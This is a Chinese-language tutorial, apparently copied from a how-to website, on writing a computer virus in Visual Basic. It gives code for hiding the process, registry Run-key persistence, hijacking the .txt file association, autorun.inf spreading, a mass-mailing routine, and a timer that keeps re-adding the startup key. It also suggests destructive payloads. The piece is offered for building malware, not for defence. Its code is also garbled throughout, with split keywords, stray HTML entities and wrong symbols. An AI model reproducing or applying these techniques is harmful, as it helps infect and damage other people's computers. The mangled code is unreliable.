电脑病毒制作方法.doc
电脑病毒制作方法朋友们想做一些小的电脑病毒吗，对于接触计算机的朋友们 来说，病毒已经不在是一个陌生的东西。下面由小编给你对电脑病毒做出详细的制作方法！希望对你有帮助！方法如下：病毒一般都具有传播、隐藏、破坏等能力。所以自从第一个 病毒问世以来，它便被人们视为一种神秘的东西。但是，我们要知道。 病毒也是程序，也是由人写出来的。所以，病毒并不是什么高不可攀 的东西。现在，让我们了解一下 VB制作病毒的原理。首先，病毒是有隐藏性的。如何来实现病毒的隐藏是很多年 来的热点话题。我们先不接触什么线程插入技术。 我们要实行自我隐 藏，就要用到API函数。其代码如下：PublicDeclareF un ctio nGetCurre ntProcessidLib&q uot;kernel32"()AsL ongPublicDeclareF un ctio nRegisterServiceProcessLib&q uot;kernel32"(ByValdwProcesslDAsL on g,ByValdwTypeAsLo ng)PublicCo nstRSP_SIMPLE_SERVICE=1PublicC on stRSP_UNREGISTER_SERVICE=OPublicSubMakeMeService()DimpidAsL ongDimreseryAsL ongpid二GetCurre ntProcessid()regserv二RegisterServiceProcess(pid,RSP_SIMPLE_SERVICE)EndSub这样就实现了自我隐藏。还有别的什么App.Title二""和 App.T askVisible二False都可以用于VB病毒的隐藏。病毒光会隐藏还不行，还要有常驻内存的能力。说通俗点， 计算机关闭病毒也就跟着死去，而计算机重启，病毒也要跟这复活。 所以，我们接下来的任务就是：实现病毒的开机自启。了解病毒的朋友会知道，病毒一般是利用在注册表中插入相 应键值来实现开机自启的。所以，我们就要利用编程来实现着一功能。 读写注册表要用到API函数，代码：PrivateDeclareF un cti on RegCreateKeyLib&qu ot;advapi32.dll& quot;Alias"RegCreateKeyA"(ByValhKeyAsL on g,ByV allpSubKeyAsStri ng,phkResultAsL on g)AsL ongPrivateDeclareF un cti on RegCloseKeyLib&qu ot;advapi32.dll&q uot;(ByValhKeyAsLo ng)AsL ongPrivateDeclareF un cti on RegSetValueExLib&qu ot;advapi32.dll& quot;Alias"RegSetValueExA"(ByValhKeyAsLo ng,By VallpvalueNameAsStri ng,ByValReservedAsL on g,ByValdwTypeA sLon g,lpDataAsA ny ,ByValcbDataAsL on g)AsL ong上述是API声明。病毒的开机自启就是在RUN下建立一个 启动项，代码：DimhKeyAsL ongDimccLetcc=Len(" 病毒的绝对路径 ")RegCreateKeyHKEY_LOCAL_MACHINE, "SoftwareMicros oftWi ndows'Curre ntVersio nR un services&q uot;,hKeyRegSetValueExhKey, "键 名",0,REG_SZ,ByVal"病毒的绝对路径 ",ccRegCloseKeyhKey以上代码执行后会在注册表中加入一个病毒的启动项。光利用开机自启来长驻内存也太容易被杀了。所以，我们还要想尽一切办法来让病毒启动。这里介绍的2种办法。第一种。修改文本文件的关联。其代码如下：API声明：PrivateDeclareF un cti on RegCreateKeyLib&qu ot;advapi32.dll"Alias"RegCreateKeyA"(ByValhKeyAsL on g,ByV allpSubKeyAsStri ng,phkResultAsL on g)AsL ongPrivateDeclareF un ctio nRegSetValueLib&q uot;advapi32.dll&qu ot;Alias"RegSetValueA"(ByValhKeyAsLo ng,ByVallp SubKeyAsStri ng,ByValdwTypeAsLo ng,ByVallpDataAsStri ng,ByV alcbDataAsL on g)AsL ongCon stHKEY_CLASSES_ROOT 二&H80000000Con stREG_SZ=1实现代码：DimsKeyNameAsStri ng& #39;存储键名DimsKeyValueAsStri ng& #39;存储键值DimMyReturnAsLo ng& #39;存储返回值信息Dimkeyha ndleAsL ongsKeyName 二&q uot;Test&qu ot;sKeyValue 二&qu ot;TestApplicati on&qu ot;MyRetur n&二RegCreateKe y&(HKEY_CLASSES_ROOT, sKeyName,keyha ndle&)MyRetur n&二RegSetValue&(keyha ndle&, "& quot;,REG_SZ,sKeyValue,0&)MsgBoxMyRetur n&sKeyName 二".txt&quot ;& #39;要建立关联的文件后缀名sKeyValue 二&qu ot;Test&qu ot;MyRetur n&二RegCreateKe y&(HKEY_CLASSES_ROOT, sKeyName,keyha ndle&)MyRetur n&二RegSetValue&(keyha ndle&, "& quot;,REG_SZ,sKeyValue,0&)sKeyName 二&q uot;Test&qu ot;病毒.exe%1 "'自己程序的位置和名称MyRetur n&二RegCreateKe y&(HKEY_CLASSES_ROOT, sKeyName,keyha ndle&)MyRetur n&二RegSetValue&(keyha ndle&, "shellope n'comma nd",REG_SZ,sKeyValue,MAX_PATH)EndSub以上是利用修改TXT文件关联来实现病毒启动的。第二种，利用 Autorun.inf光盘就是利用这个来自动播放的，所以我就不废话了。实现代码：lfDir("F:")&lt ;& gt ;& quot ;& quot;The nLeta二App.Path+&q uot;&q uot;+App.EXEName+&qu ot;.exe&qu ot;病毒.exe&qu ot;Open&qu ot;Autor un .i nf&q uot;ForOutputAs#1Prin t#1, "autoru n"Prin t#1, "OPEN二病毒.exe"Close#1这样就实现了双击C盘启动病毒的作用。下面说一下病毒的传播，病毒的传播可以说是八仙过海。主 要的传播方式就是电子邮件传播，远程溢出等。远程溢出这里不做详解。第一是我不太熟练，只会用，不会说。第二是要讲清楚很麻烦。所以，我讲一下电子邮件传播。首先，建立一个 WINSOCKE。然后利用编程来实现。这里 只说思路。ConnectToServerServer,Winsock1 ‘这是 向服务器建立连接Sen dMailFromAddress,ToAddress,Subject,Body,Wi nsock1,Attach‘发送邮件FromAddress发件人地址ToAddress收件人地址Subject邮件标题Body邮件内容Attach附件地址利用这样的原理来群发，可以达到传播自己的目的。还有一种就是 U盘/A盘传播，原理上面已经说过。利用Autoru n.i nf文件，这里就不废话了。说了这么多，还剩最后一点，那就是破坏性。这个就不详细 阐述。什么自动关机，无限增殖。大家自己发挥想象，这不是很难的 事。最后总结，一个什么样的病毒，它必须生活在特定的操作系 统下。所以，病毒做出来后，不一定能在什么操作系统下都能用。还 有一点，病毒必须能自己保护自己。这里推荐使用TIMER。利用这个部件来不断的写注册表。这样，很难删掉病毒的启动键值。还要保 护自身的增殖文件。比如：Leta二App.Path+&qu ot;&qu ot;+App.EXEName+&qu ot;.exe"病毒.exe&qu ot; )&l t; >&qu ot ;&qu ot;The n病毒.exe&qu ot;最后，还有最重要的一点。那就是容错语句。尽量多加。以防万一。看了此文电脑病毒制作的人还看了:1. 电脑病毒如何制作2. 电脑病毒制作视频3. 计算机病毒是如何制作出来的？4. 电脑病毒制作原理和危害有哪些8
